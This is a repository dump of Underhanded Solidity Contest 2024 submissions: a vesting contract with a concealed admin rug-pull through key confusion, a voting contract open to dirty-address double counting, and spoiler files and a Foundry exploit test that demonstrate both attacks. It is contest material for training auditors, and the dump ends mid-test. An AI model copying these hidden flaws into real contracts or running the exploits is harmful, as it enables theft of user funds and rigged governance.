transferFundsOut(underlyingA, amountA);
}
if (amountB > 0) {
transferFundsOut(underlyingB, amountB);
}
return totalSupplyDecrease;
}
function getLiquidity() external view returns(uint256) {
return geometricMean(balanceA, balanceB);
}
function transferFundsIn(ERC20 underlying, uint256 amount) internal returns(uint256) {
uint256 balanceBefore = underlying.balanceOf(address(this));
require(underlying.transferFrom(msg.sender, address(this), amount), "TransferFrom failed");
uint256 balanceAfter = underlying.balanceOf(address(this));
uint256 receivedAmount = balanceAfter - balanceBefore;
return receivedAmount;
}
function transferFundsOut(ERC20 underlying, uint256 amount) internal {
require(underlying.transfer(msg.sender, amount), "Transfer failed");
}
// +------------+
// | Math stuff |
// +------------+
function geometricMean(uint256 x, uint256 y) internal pure returns(uint256) {
return sqrt(x * y);
}
function sqrt(uint256 x) internal pure returns(uint256) {
if (x == 0) return 0;
// guess: 2^(log(x) / 2)
uint256 guess = 1 << (approxLogBase2(x) >> 1);
// 5 newton iterations because they're cheap
// guess is provably always > 0
guess = (guess * guess + x) / (2 * guess);
guess = (guess * guess + x) / (2 * guess);
guess = (guess * guess + x) / (2 * guess);
guess = (guess * guess + x) / (2 * guess);
guess = (guess * guess + x) / (2 * guess);
return guess;
}
// sqrt(2) ≈ 886731088897/627013566048
uint256 private constant sqrt2Numerator = 886731088897;
uint256 private constant sqrt2Denominator = 627013566048;
// Returns the whole number closest to the actual log base 2 of x
function approxLogBase2(uint256 x) internal pure returns(uint256) {
// log2(x * sqrt(2)) = log2(x) + 0.5, so truncating gives rounded value
x = (x * sqrt2Numerator) / sqrt2Denominator;
// highestBit is floor(log2(x))
return highestBit(x);
}
// Returns the position of the highest set bit in x
function highestBit(uint256 x) internal pure returns(uint256) {
uint256 log = 0;
while (0 != (x >>= 1)) {
unchecked {
// will never exceed 256, unchecked is fine
log++;
}
}
return log;
}
}
================================================
FILE: 2024/submissions_2024/submission1_Stepan/LightStorage.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
/// @notice Combined storage status variations
enum KeyStatus {
Empty,
HashOnly,
Loaded
}
/// @dev Combined storage layout
///
/// Persistent Storage
/// [combinedKey] keccak256(data)
///
/// Transient Storage
/// [combinedKey] data.length
/// [combinedKey + k] data[(k - 1) * 0x20 : k * 0x20] (0 < k <= data.length / 0x20)
/// [combinedKey + data.length / 0x20 + 1] 00..00 concat data[data.length / 0x20 * 0x20 : data.length]
/// @title LightStorage Library
/// @notice Combined storage abstraction
/// @dev While actual data is processed in `transient` storage, the data hash is put to `persistent` storage
/// This requires data to be stored off-chain and partially loaded for each transaction execution
/// @dev The keys used for combined storage are requred to be sufficiently far apart, such as those
/// generated by the `keccak256` function
library LightStorage {
error DataMismatchHash(bytes32 dataHash, bytes32 persistentHash);
error DataNotLoaded(bytes32 persistentHash);
error UnknownKey(bytes32 combinedKey);
event Write(bytes32 indexed combinedKey, bytes data);
/// @dev Writes a 32-byte value to `persistent` storage
function _writeS(bytes32 key, bytes32 value) private {
assembly {
sstore(key, value)
}
}
/// @dev Reads a 32-byte value from `persistent` storage
function _readS(bytes32 key) private view returns (bytes32 value) {
assembly {
value := sload(key)
}
}
/// @dev Writes data to `transient` storage, spreading it across multiple slots if necessary
function _writeT(bytes32 key, bytes memory data) private {
bytes32 lastKey;
uint256 lastShift;
unchecked {
uint256 fullSlots = 0x01 + data.length / 0x20;
lastKey = bytes32(uint256(key) + fullSlots);
lastShift = 0x08 * (0x20 - (data.length % 0x20));
}
assembly {
for {
} iszero(eq(key, lastKey)) {
data := add(data, 0x20)
key := add(key, 0x01)
} {
tstore(key, mload(data))
}
tstore(key, shr(lastShift, mload(data)))
}
}
/// @dev Reads data from `transient` storage, reassembling it from multiple slots if necessary
function _readT(bytes32 key) private view returns (bytes memory data) {
uint256 length;
assembly {
length := tload(key)
key := add(key, 0x01)
}
/// @dev Additional slot allocation as the code below potentially writes zeros to one more slot
data = new bytes(0x20 + length);
assembly {
mstore(data, length)
}
bytes32 lastKey;
uint256 lastShift;
unchecked {
uint256 fullSlots = length / 0x20;
lastKey = bytes32(uint256(key) + fullSlots);
lastShift = 0x08 * (0x20 - (length % 0x20));
}
assembly {
let i := 0x20
for {
} iszero(eq(key, lastKey)) {
i := add(i, 0x20)
key := add(key, 0x01)
} {
mstore(add(data, i), tload(key))
}
mstore(add(data, i), shl(lastShift, tload(key)))
}
}
/// @notice Check the status of combined storage at the key
/// @dev HashOnly response may indicate both empty and corrupted `transient` storage value
/// @return The status of the combined storage (Empty, HashOnly, or Loaded)
function status(bytes32 combinedKey) internal view returns (KeyStatus) {
bytes32 persistentHash = _readS(combinedKey);
if (persistentHash == 0) return KeyStatus.Empty;
bytes memory data = _readT(combinedKey);
bytes32 dataHash = keccak256(data);
if (persistentHash == dataHash) return KeyStatus.Loaded;
return KeyStatus.HashOnly;
}
/// @notice Preload data to combined storage
/// @dev Loads data into `transient` storage, ensuring it matches the hash in `persistent` storage
/// @dev Reverts if the `persistent` storage is empty or if the data does not match the hash
function load(bytes32 combinedKey, bytes memory data) internal {
bytes32 persistentHash = _readS(combinedKey);
require(persistentHash != 0, UnknownKey(combinedKey));
bytes32 dataHash = keccak256(data);
require(persistentHash == dataHash, DataMismatchHash(dataHash, persistentHash));
_writeT(combinedKey, data);
}
/// @notice Get data from combined storage
/// @dev Reads data from `transient` storage, ensuring it is loaded
/// @dev Reverts if the `persistent` storage is empty or if the data is not loaded or is corrupted
/// @return data The data stored in combined storage at the key
function read(bytes32 combinedKey) internal view returns (bytes memory data) {
bytes32 persistentHash = _readS(combinedKey);
require(persistentHash != 0, UnknownKey(combinedKey));
data = _readT(combinedKey);
bytes32 dataHash = keccak256(data);
require(persistentHash == dataHash, DataNotLoaded(persistentHash));
}
/// @notice Write data to combined storage
/// @dev Writes data to both `persistent` and `transient` storage
function write(bytes32 combinedKey, bytes memory data) internal {
bytes32 dataHash = keccak256(data);
_writeS(combinedKey, dataHash);
_writeT(combinedKey, data);
emit Write(combinedKey, data);
}
}
================================================
FILE: 2024/submissions_2024/submission1_Stepan/LightVesting.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./LightStorage.sol";
/// @notice Vesting contract configuration
/// @dev This configuration should prevent integer overflow possibility
/// in the `_calcTotalVested` and `create` functions
struct Config {
address admin;
uint256 maxAmount;
uint256 maxDuration;
uint256 maxCliffPercent;
uint256 fee;
IERC20 token;
}
/// @notice Vesting schedule parameters
/// @dev Here cliff is duration part, not a direct timestamp
struct Vesting {
address user;
uint256 amount;
uint256 claimed;
uint256 start;
uint256 duration;
uint256 cliff;
}
/// @title LightStorageIntegration Contract
/// @notice Abstract contract that integrates `LightStorage` operations with Config and Vesting data structures
/// @dev The contract contains rug pull ability
abstract contract LightStorageIntegration {
using LightStorage for bytes32;
bytes32 public constant CONFIG_KEY = bytes32(uint256(keccak256("combinedKey.vesting.config")) - 1);
bytes32 public constant VESTING_KEY = bytes32(uint256(keccak256("combinedKey.vesting.vestingPrefix")) - 1);
/// @notice Check the status of combined storage at the key
/// @return The status of the combined storage (Empty, HashOnly, or Loaded)
function keyStatus(bytes32 key) public view returns (KeyStatus) {
return key.status();
}
/// @notice Preload the Config struct data into combined storage
function loadConfig(bytes32 key, Config memory config) public {
key.load(abi.encode(config));
}
/// @notice Preload the Vesting struct data into combined storage
function loadVesting(bytes32 key, Vesting memory vesting) public {
key.load(abi.encode(vesting));
}
/// @notice Retrieve the Config struct from combined storage at the key
/// @return The Config struct
function getConfig(bytes32 key) public view returns (Config memory) {
return abi.decode(key.read(), (Config));
}
/// @notice Retrieve the Vesting struct from combined storage at the key
/// @return The Vesting struct
function getVesting(bytes32 key) public view returns (Vesting memory) {
return abi.decode(key.read(), (Vesting));
}
/// @dev Writes the Config struct to combined storage
function _setConfig(bytes32 key, Config memory config) internal {
key.write(abi.encode(config));
}
/// @dev Writes the Vesting struct to combined storage
function _setVesting(bytes32 key, Vesting memory vesting) internal {
key.write(abi.encode(vesting));
}
}
/// @title LightVesting Contract
/// @notice Contract for creating and withdrawing token vesting schedules
contract LightVesting is LightStorageIntegration {
using SafeERC20 for IERC20;
uint256 public constant DENOM = 100000; // 100%
uint256 public constant MAX_FEE = 1000; // 1%
uint256 public constant START_GAP = 50 * 52 weeks; // 50 years
error NotAdmin(address caller, address admin);
error TokenMismatch(IERC20 token, IERC20 configured);
error FeeOverMax(uint256 fee, uint256 max);
error PercentOverMax(uint256 percent, uint256 max);
error CliffOverMax(uint256 cliff, uint256 max);
error AmountOverMax(uint256 amount, uint256 max);
error DurationOverMax(uint256 duration, uint256 max);
error StartOverMax(uint256 start, uint256 max);
error VestingAlreadyExist(bytes32 key);
error NotBeneficiary(address caller, address beneficiary);
event Configuration(Config config, bool adminChanged);
event VestingCreate(bytes32 indexed key, Vesting vesting, uint256 fee);
event VestingClaim(bytes32 indexed key, Vesting vesting, uint256 unlocked);
/// @notice Constructor to initialize the contract with a Config struct
constructor(Config memory config) {
require(config.admin == msg.sender, NotAdmin(msg.sender, config.admin));
require(config.fee <= MAX_FEE, FeeOverMax(config.fee, MAX_FEE));
require(config.maxCliffPercent <= DENOM, PercentOverMax(config.maxCliffPercent, DENOM));
_setConfig(CONFIG_KEY, config);
emit Configuration(config, true);
}
/// @notice Update the vesting creation rules
function configurate(Config memory updated) public {
Config memory config = getConfig(CONFIG_KEY);
require(config.admin == msg.sender, NotAdmin(msg.sender, config.admin));
require(config.token == updated.token, TokenMismatch(updated.token, config.token));
require(updated.fee <= MAX_FEE, FeeOverMax(updated.fee, MAX_FEE));
require(updated.maxCliffPercent <= DENOM, PercentOverMax(updated.maxCliffPercent, DENOM));
_setConfig(CONFIG_KEY, updated);
emit Configuration(config, config.admin != updated.admin);
}
/// @notice EOA `configurate` function endpoint
function configurate(Config memory updated, Config memory config) external {
loadConfig(CONFIG_KEY, config);
configurate(updated);
}
/// @notice Create a new vesting schedule
/// @return key The key associated with the newly created vesting
function create(
address beneficiary,
uint256 nonce,
uint256 amount,
uint256 start,
uint256 duration,
uint256 cliff
) public returns (bytes32 key) {
key = keccak256(abi.encode(VESTING_KEY, beneficiary, msg.sender, nonce));
require((keyStatus(key) == KeyStatus.Empty), VestingAlreadyExist(key));
Config memory config = getConfig(CONFIG_KEY);
require(config.maxAmount >= amount, AmountOverMax(amount, config.maxAmount));
require(config.maxDuration >= duration, DurationOverMax(duration, config.maxDuration));
uint256 maxStart = block.timestamp + START_GAP;
require(maxStart >= start, StartOverMax(start, maxStart));
/// @dev In case of misconfiguration `duration * config.maxCliffPercent` may overflow
uint256 maxCliff = (duration * config.maxCliffPercent) / DENOM;
require(maxCliff >= cliff, CliffOverMax(cliff, maxCliff));
uint256 fee = (amount * config.fee) / DENOM;
Vesting memory vesting = Vesting(beneficiary, amount - fee, 0, start, duration, cliff);
_setVesting(key, vesting);
config.token.safeTransferFrom(msg.sender, address(this), amount);
config.token.safeTransfer(config.admin, fee);
emit VestingCreate(key, vesting, fee);
}
/// @notice EOA `create` function endpoint
function create(
address beneficiary,
uint256 nonce,
uint256 amount,
uint256 start,
uint256 duration,
uint256 cliff,
Config memory config
) external returns (bytes32 key) {
loadConfig(CONFIG_KEY, config);
return create(beneficiary, nonce, amount, start, duration, cliff);
}
/// @dev Calculates the total amount of tokens vested based on the current time
function _calcTotalVested(
uint256 start,
uint256 cliff,
uint256 duration,
uint256 amount
) internal view returns (uint256) {
/// @dev In case of misconfiguration `start + duration` may overflow
if (block.timestamp >= start + duration) {
return amount;
} else if (block.timestamp < start + cliff) {
return 0;
} else {
/// @dev In case of misconfiguration `amount * timePassed` may overflow
return (amount * (block.timestamp - start)) / duration;
}
}
/// @dev Calculates the amount of tokens that can be withdrawn at the moment
function _calcWithdrawable(Vesting memory vesting) internal view returns (uint256) {
uint256 vestedAmount = _calcTotalVested(vesting.start, vesting.cliff, vesting.duration, vesting.amount);
return vestedAmount - vesting.claimed;
}
/// @notice Retrieve the amount of tokens that can be withdrawn by the beneficiary at the moment
/// @return The amount of tokens that can be withdrawn
function withdrawable(bytes32 key) public view returns (uint256) {
return _calcWithdrawable(getVesting(key));
}
/// @notice EOA `withdrawable` function endpoint
function withdrawable(bytes32 key, Vesting memory vesting) external returns (uint256) {
loadVesting(key, vesting);
return withdrawable(key);
}
/// @notice Allow the beneficiary to withdraw vested tokens
function withdraw(bytes32 key) public {
Vesting memory vesting = getVesting(key);
require(vesting.user == msg.sender, NotBeneficiary(msg.sender, vesting.user));
Config memory config = getConfig(CONFIG_KEY);
uint256 unlocked = _calcWithdrawable(vesting);
vesting.claimed += unlocked;
_setVesting(key, vesting);
config.token.safeTransfer(msg.sender, unlocked);
emit VestingClaim(key, vesting, unlocked);
}
/// @notice EOA `withdraw` function endpoint
function withdraw(bytes32 key, Config memory config, Vesting memory vesting) external {
loadConfig(CONFIG_KEY, config);
loadVesting(key, vesting);
withdraw(key);
}
}
================================================
FILE: 2024/submissions_2024/submission1_Stepan/README.md
================================================
# Underhanded Solidity Contest 2024 Submission
## Idea / Use-cases
The implementation of `transient` storage enables an efficient ability to create lightweight smart contracts. Lightweight means that only a data hash is stored in `persistent` storage, while any data needed by transactions is attached additionally. The `transient` storage is accessible from different execution contexts, which allows the division of responsibility between preloading data and the requests execution. Additionally, this provides significant optimization opportunities, as the data can be loaded once per a batch transaction, and possibly can be integrated with the transaction access lists in the far future.
### Composability
The idea involves `transient` storage being retained after the execution context ends, which may potentially cause composability issues. To address this, the implementation __MUST__ process any __sequence of calls that succeed in isolated execution__ in the same way, regardless of whether the calls are executed in isolation or not. This ensures backward compatibility and enables the contract to provide __additional__ functionality based on `transient` storage utilization.
To satisfy this condition, it is enough to ensure any succesfull isolated call executes `tstore(key, ...)` prior to `tload(key)`. As each accessed data slot is rewritten before the read, any data in `transient` storage does not impact the execution. Thus, the call can be safely composed with other ones.
## Submission
The submission consists of the following components:
- The `LightStorage` library, which wraps all `transient` storage operations and provides a simple interface for reading and writing `bytes memory` data.
- The `LightStorageIntegration` abstract contract, which wraps `LightStorage` library functions to process specific structs instead of raw byte arrays.
- The `LightVesting` target contract, which allows users to create and claim vestings of a specified token and implements a __RUG PULL__ possibility (hope you'll be happy to find it).
## Light Storage
More details on how the `LightStorage` library works:
- `write(bytes32 combinedKey, bytes memory data)` stores the `data hash` at `combinedKey` in `persistent` storage and stores the `data` at `combinedKey` (and subsequent slots) in `transient` storage.
- `load(bytes32 combinedKey, bytes memory data)` stores the `data` at `combinedKey` (and subsequent slots) in `transient` storage. It aborts if no `data hash` is recorded in `persistent` storage or if the provided `data` does not match the recorded `data hash`.
- `read(bytes32 combinedKey) returns (bytes memory data)` returns the `data` stored at `combinedKey` (and subsequent slots) in `transient` storage. It aborts if the `data` is not loaded into `transient` storage, if no `data hash` is recorded in `persistent` storage, or if the `data` in `transient` storage is corrupted and does not match the recorded `data hash`.
- `status(bytes32 combinedKey) returns (KeyStatus)` returns whether the key is empty, if `data` is loaded into `transient` storage, or if it is not loaded (including cases of data corruption).
### Composability
In the context of an isolated call, the `read` function may succeed without prior `transient` data set only for reading zero length bytes array. Otherwise, the execution fails due to the recorded hash mismatch. Zero length arrays are not used in the project.
Additionally, that the `status` function does not follow the composability requirement. However, in context of the project it is not used that way.
### Data Packing
```py
Persistent Storage
[combinedKey] keccak256(data)
```
```py
Transient Storage
# Number of full 32-byte words in data
full_data_slots = data.length / 0x20
# Length field takes 1 more word
full_slots = full_data_slots + 1
[combinedKey] data.length
0 < k <= full_data_slots
[combinedKey + k] data[(k - 1) * 0x20 : k * 0x20]
[combinedKey + full_slots] 00..00 concat data[full_data_slots * 0x20 : data.length]
```
To avoid conflicts, keys __MUST__ be sufficiently far apart, such as those generated by the `keccak256` function.
## Light Storage Integration
The integration contract provides wrappers over the `LightStorage` library to read/write `Vesting` and `Config` structures instead of raw `bytes memory` arrays. It also offers public functions for preloading data into `transient` storage.
## Light Vesting
The target contract implements linear vesting functionality with a cliff. Anyone can create a vesting, and the admin can slightly modify the vesting creation rules.
Configuration is stored at specified `CONFIG_KEY` slot.
Vestings are stored at `keccak256(VESTING_KEY, beneficiary, creator, nonce))` slot what allows multiple vesttings per user and enforses `nonce` front running protection by adding the `creator` address to generation.
### Data Preloading
Smart contracts can preload data into `transient` storage using the `loadConfig` and `loadVesting` functions.
EOA actors are provided with overloaded functions that accept `Config` and `Vesting` structures as additional parameters.
================================================
FILE: 2024/submissions_2024/submission1_Stepan/SPOILER.md
================================================
# Underhanded Solidity Contest 2024 Spoiler
## Explanation
The rug pull is possible because a `Config` structure can be parsed as a valid `Vesting` structure. The `withdraw` function does not validate whether the provided key matches the expected format (`keccak256(VESTING_KEY, beneficiary, creator, nonce)`). It assumes that any valid key is a vesting key. However, it is possible to pass `CONFIG_KEY` as a vesting key to the `withdraw` function. With a specifically crafted `Config`, funds can be withdrawn.
```js
vm.startPrank(admin);
config = Config({
admin: admin, // vesting.user
maxAmount: token.balanceOf(address(vesting)), // vesting.amount
maxDuration: 0, // vesting.claimed
maxCliffPercent: 0, // vesting.start
fee: 0, // vesting.duration
token: token // vesting.cliff (ignored as soon as the duration has passed)
});
vesting.configurate(config);
vesting.withdraw(vesting.CONFIG_KEY());
assertEq(token.balanceOf(address(vesting)), 0);
```
## How to Fix
A possible fix is to ensure the provided key matches the vesting key generation mechanism, which would eliminate the flaw. However, this is a rather low-level solution.
On a higher level, it would be beneficial to have some kind of efficient `transient` storage auto-layout (the ability to specify variable type and name, which makes the variable automatically located in the `transient` storage), similar to what Solidity has for `persistent` storage.
Instead of dealing with the hassle of manually packing data at specific keys, it would be advantageous if you could set the `.slot` property using assembly, similar to how it is done with `persistent` storage.
## Composability Thoughts
As mentioned in the `README.md`, for preventing composability issues it is sufficient to ensure that any successful isolated call does a `tstore(key, ...)` before doing a `tload(key)`. In case of moving such calls from isolated to composed environment, nothing actually would change.
Theoretically, it is possible to disallow zero as a valid `transient` storage value. If `tload(key)` (or more accurately, some higher-level code involving it) loads zero, the execution reverts. This would strictly enforce the mentioned rule.
What about compatibility? Developers would need to write to `transient` storage first (similar to how EOA overloading is done in `LightVesting`) to ensure isolated calls do not fail.
Would this make `transient` storage useless? No, because even though `getSmthFromTransient` might fail in an isolated context, it would work in a composed sequence like [`loadSmthToTransient`, `getSmthFromTransient`], introducing advantages such as read/write responsibility division, optimization in transaction batching, etc.
Disadvantages? Redefinition of zero might be quite complicated as it requires a kind of new `bytes32 - 1` type. While such the rule wouldn’t harm light storage or callbacks (cases when data temporary stored in `transient` location for being accessible from a callback) patterns, it makes impossible to implement efficient reentrancy locks without usage of inline assembly.
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/README.md
================================================
# InstantVoting: Streamlined On-Chain Governance
_Submission for the 2024 [Underhanded Solidity Contest](https://underhanded.soliditylang.org/)._
## Overview
`InstantVoting` is an innovative smart contract designed to simplify and accelerate the governance process for DAOs. By leveraging transient storage and efficient vote collection, `InstantVoting` offers a more responsive and gas-efficient alternative to traditional governance mechanisms.
> [!IMPORTANT]
>
> **SPOILER ALERT:** Explanation and proof-of-concept can be found in `test/exploit.t.sol`.
Running the tests:
```
foundryup
forge soldeer install
forge test
```
## Key Features
1. **Asynchronous Voting**: Voters can cast their votes at any time before the vote collection occurs, allowing for flexible participation.
2. **Instant Vote Collection**: Votes are collected and tallied in a single transaction, eliminating the need for lengthy voting periods.
3. **Flexible Voter Registry**: Supports multiple voter registries, allowing for dynamic and adaptable voting populations.
4. **Immediate Execution**: Proposals can be executed in the same transaction as vote tallying, significantly reducing the time from proposal to action.
5. **Gas Optimization**: Employs transient storage to minimize gas costs associated with vote collection and tallying.
Experience the future of DAO governance with `InstantVoting` - where decisions happen at the speed of your transactions, without sacrificing voter flexibility!
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/foundry.toml
================================================
[profile.default]
src = "src"
out = "out"
libs = ["dependencies"]
solc_version = "0.8.25"
evm_version = "cancun"
[dependencies]
forge-std = { version = "1.9.2", url = "https://soldeer-revisions.s3.amazonaws.com/forge-std/1_9_2_06-08-2024_17:31:25_forge-std-1.9.2.zip" }
"@openzeppelin-contracts" = "5.0.2"
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/remappings.txt
================================================
@openzeppelin-contracts-5.0.2/=dependencies/@openzeppelin-contracts-5.0.2/
forge-std-1.9.2/=dependencies/forge-std-1.9.2/
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/src/InstantVoting.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { IERC20 } from "@openzeppelin-contracts-5.0.2/token/ERC20/IERC20.sol";
/// @notice An ERC-20 token that also allows token holders to vote on proposal IDs.
/// @dev A vote on a proposal ID is either For or Against. The voting weight is returned
/// as a signed integer. For voting weight is positive. Against voting weight is negative.
interface IVotingToken is IERC20 {
enum Decision { None, For, Against }
function vote(bytes32 _proposalId, Decision _decision) external;
function weight(address _account, bytes32 _proposalId) external view returns (int256);
}
/// @notice The Executor allows scheduling and execution of calls.
/// @dev The scheduling of a call determines the proposal ID.
/// The contract is owned by `InstantVoting`, so that the execution must be triggered through
/// the `run` function.
interface IExecutor {
function execute(bytes32 _proposalId) external;
}
/// @notice A contract managing a list of registered voters.
interface IVoterRegistry {
function getVoters() external view returns (address[] memory);
}
/// @notice Instant Voting is used in two steps. First, votes are collected per proposal ID. This
/// can be done with multiple voter registries. Second, proposals can be run, thereby checking
/// whether the voting passed, and executing through the Executor contract, where the proposal
/// was previously scheduled. By leveraging transient storage, both steps must be executed in one
/// transaction.
contract InstantVoting {
using SlotDerivation for bytes32;
bytes32 private constant VOTED_SLOT = keccak256("InstantVoting.voted_slot");
bytes32 private constant VOTE_DECISION_SLOT = keccak256("InstantVoting.vote_decision_slot");
bytes32 private constant VOTE_TOTAL_SLOT = keccak256("InstantVoting.vote_total_slot");
IVotingToken public votingToken;
IExecutor public executor;
constructor(address _votingToken, address _executor) {
votingToken = IVotingToken(_votingToken);
executor = IExecutor(_executor);
}
/// @param _proposalId the proposal ID to collect votes for
/// @param _voterRegistry the registry of voters that may have voted
function collectVotes(bytes32 _proposalId, address _voterRegistry)
external returns (int256 decisionalWeight, uint256 totalWeight)
{
// load voters from registry
(bool success, bytes memory data) = _voterRegistry.staticcall(abi.encodeWithSignature("getVoters()"));
require(success, "VoterRegistry call failed");
address[] memory voters;
// Call the identity precompile, to transform bytes data to address array
assembly {
// encoded address array length is at offset 0x40, add one word for length itself
let len := mul(add(mload(add(data, 0x40)), 1), 0x20)
success := staticcall(gas(), 0x04, add(data, 0x40), len, voters, len)
mstore(0x40, add(voters, len)) // update free memory pointer
}
require(success, "Identity precompile call failed");
// iterate through voters and count votes by weight
for (uint256 i=0; i < voters.length; ++i) {
// check if voter has voted yet
address voter = voters[i];
bytes32 votedSlot = VOTED_SLOT.deriveMapping(voter);
bool hasVoted;
assembly {
hasVoted := tload(votedSlot)
}
// if voter has voted already; skip
if (hasVoted) continue;
// mark as voted
assembly {
tstore(votedSlot, 1)
}
// accumulate decisional weight and total weight of the voter
int256 voterWeight = votingToken.weight(voter, _proposalId);
decisionalWeight += voterWeight;
totalWeight += _abs(voterWeight);
}
// apply counted weights into transient storage
bytes32 decisionSlot = VOTE_DECISION_SLOT.deriveMapping(_proposalId);
bytes32 totalSLot = VOTE_TOTAL_SLOT.deriveMapping(_proposalId);
int256 overwriteDecisionalWeight;
uint256 overwriteTotalWeight;
assembly {
overwriteDecisionalWeight := tload(decisionSlot)
overwriteTotalWeight := tload(totalSLot)
}
overwriteDecisionalWeight += decisionalWeight;
overwriteTotalWeight += totalWeight;
assembly {
tstore(decisionSlot, overwriteDecisionalWeight)
tstore(totalSLot, overwriteTotalWeight)
}
}
/// @param _proposalId the proposal ID that were votes collected for and executed through the Executor
function run(bytes32 _proposalId) external {
bytes32 decisionSlot = VOTE_DECISION_SLOT.deriveMapping(_proposalId);
bytes32 totalSLot = VOTE_TOTAL_SLOT.deriveMapping(_proposalId);
int256 decisionalWeight;
uint256 totalWeightVoted;
assembly {
decisionalWeight := tload(decisionSlot)
totalWeightVoted := tload(totalSLot)
}
require(decisionalWeight > 0, "vote didn't pass");
require(totalWeightVoted > ((votingToken.totalSupply() * 2) / 10), "More than 20% of weight must have voted");
executor.execute(_proposalId);
}
/// @dev transform int256 to uint256, making a negative number positive
function _abs(int256 x) public pure returns (uint256) {
// If x is negative, return its negation, else return x itself
return x < 0 ? uint256(-x) : uint256(x);
}
}
/// Copied from
/// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/cb2aaaa/contracts/utils/SlotDerivation.sol
library SlotDerivation {
function deriveMapping(bytes32 slot, address key) internal pure returns (bytes32 result) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, key)
mstore(0x20, slot)
result := keccak256(0x00, 0x40)
}
}
function deriveMapping(bytes32 slot, bytes32 key) internal pure returns (bytes32 result) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, key)
mstore(0x20, slot)
result := keccak256(0x00, 0x40)
}
}
}
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/src/Mock/MockExecutor.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { IExecutor } from "../InstantVoting.sol";
/// Theoretically, Executor would be ownable and the execute function would be
/// onlyOwner modified.
contract MockExecutor is IExecutor {
event Scheduled(bytes32 id);
event Executed(bytes32 id);
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 salt
) external returns (bytes32 id) {
id = keccak256(abi.encode(target, value, data, salt));
emit Scheduled(id);
}
function execute(bytes32 _proposalId) external {
emit Executed(_proposalId);
}
}
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/src/Mock/MockVoterRegistry.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { IVoterRegistry } from "../InstantVoting.sol";
contract MockVoterRegistry is IVoterRegistry {
mapping(address voter => bool) registered;
address[] voters;
function register(address voter) external {
require(!registered[voter], "already registered");
require(voters.length < 200, "registry is full");
voters.push(voter);
}
function getVoters() external view returns (address[] memory) {
return voters;
}
}
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/src/Mock/MockVotingToken.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { ERC20 } from "@openzeppelin-contracts-5.0.2/token/ERC20/ERC20.sol";
import { IVotingToken } from "../InstantVoting.sol";
/// @notice Theoretically, snapshots/checkpoints should be used to track past balances
contract MockVotingToken is ERC20, IVotingToken {
mapping(address voter => mapping(bytes32 proposalId => Decision)) decisions;
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
function vote(bytes32 _proposalId, Decision _decision) external {
require(balanceOf(msg.sender) > 0, "only users with balance can vote");
decisions[msg.sender][_proposalId] = _decision;
}
function weight(address _account, bytes32 _proposalId) external view returns (int256) {
uint256 balance = balanceOf(_account);
Decision decision = decisions[_account][_proposalId];
if (decision == Decision.None) {
return 0;
} else if (decision == Decision.For) {
return int256(balance);
} else if (decision == Decision.Against) {
return int256(balance) * (-1);
} else {
revert("Unknown decision");
}
}
/// used for test setup
function mint(address user, uint256 amount) external {
_mint(user, amount);
}
}
================================================
FILE: 2024/submissions_2024/submission2_Seppilon/test/exploit.t.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import { Test, console } from "forge-std-1.9.2/src/Test.sol";
import { InstantVoting, IVotingToken } from "../src/InstantVoting.sol";
import { MockVotingToken } from "../src/mock/MockVotingToken.sol";
import { MockExecutor } from "../src/mock/MockExecutor.sol";
import { MockVoterRegistry } from "../src/mock/MockVoterRegistry.sol";
/**
====================== !! SPOILER ALERT !! ======================
The malicious registry returns a bytes32 array with the same address
but dirty upper bytes. Within InstantVoting::collectVotes(), these
bytes32 values will be copied into the address[] array slots by the
identity precompile. While they are interpreted as an address for
the IVotingToken::weight() call, the derived mapping slot of VOTED_SLOT
is under the influence of the dirty bytes, thereby leading to a different
slot for the same address. This allows having the same voter's weight
counted multiple times and, hence, manipulating the vote.
===================================================================
*/
contract MaliciousRegistry {
address voter;
constructor(address adversary) {
voter = adversary;
}
function getVoters() external view returns (bytes32[] memory) {
bytes32[] memory voters = new bytes32[](20);
for (uint256 i = 0; i < 20; ++i) {
// address with dirty bytes
uint256 offset = 32 + i * 32;
bytes32 value = bytes32(i << 160) | bytes32(uint256(uint160(voter)));
assembly {
mstore(add(voters, offset), value)
}
}
return voters;
}
}
contract ExploitTest is Test {
InstantVoting public instantVoting;
MockVotingToken public votingToken;
MockExecutor public executor;
MockVoterRegistry public registry;
MaliciousRegistry public maliciousRegistry;
address alice;
address bob;
address charlie;
address mallory;
bytes32 proposalId;
function setUp() public {
votingToken = new MockVotingToken("Voting", "VTG");
executor = new MockExecutor();
registry = new MockVoterRegistry();
instantVoting = new InstantVoting(address(votingToken), address(executor));
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
mallory = makeAddr("mallory"); // attacker
votingToken.mint(alice, 7 * 10**18);
votingToken.mint(bob, 5 * 10**18);
votingToken.mint(charlie, 3 * 10**18);
votingToken.mint(mallory, 1 * 10**18); // attacker has the least voting weight
registry.register(alice);
registry.register(bob);
registry.register(charlie);
maliciousRegistry = new MaliciousRegistry(mallory);
proposalId = executor.schedule(
makeAddr("target"), 1 ether, "", keccak256("first proposal salt")
);
}
function test_exploit() public {
// do the votes
vm.prank(alice);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(bob);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
vm.prank(charlie);
votingToken.vote(proposalId, IVotingToken.Decision.Against);
// counting the legitimate Against votes
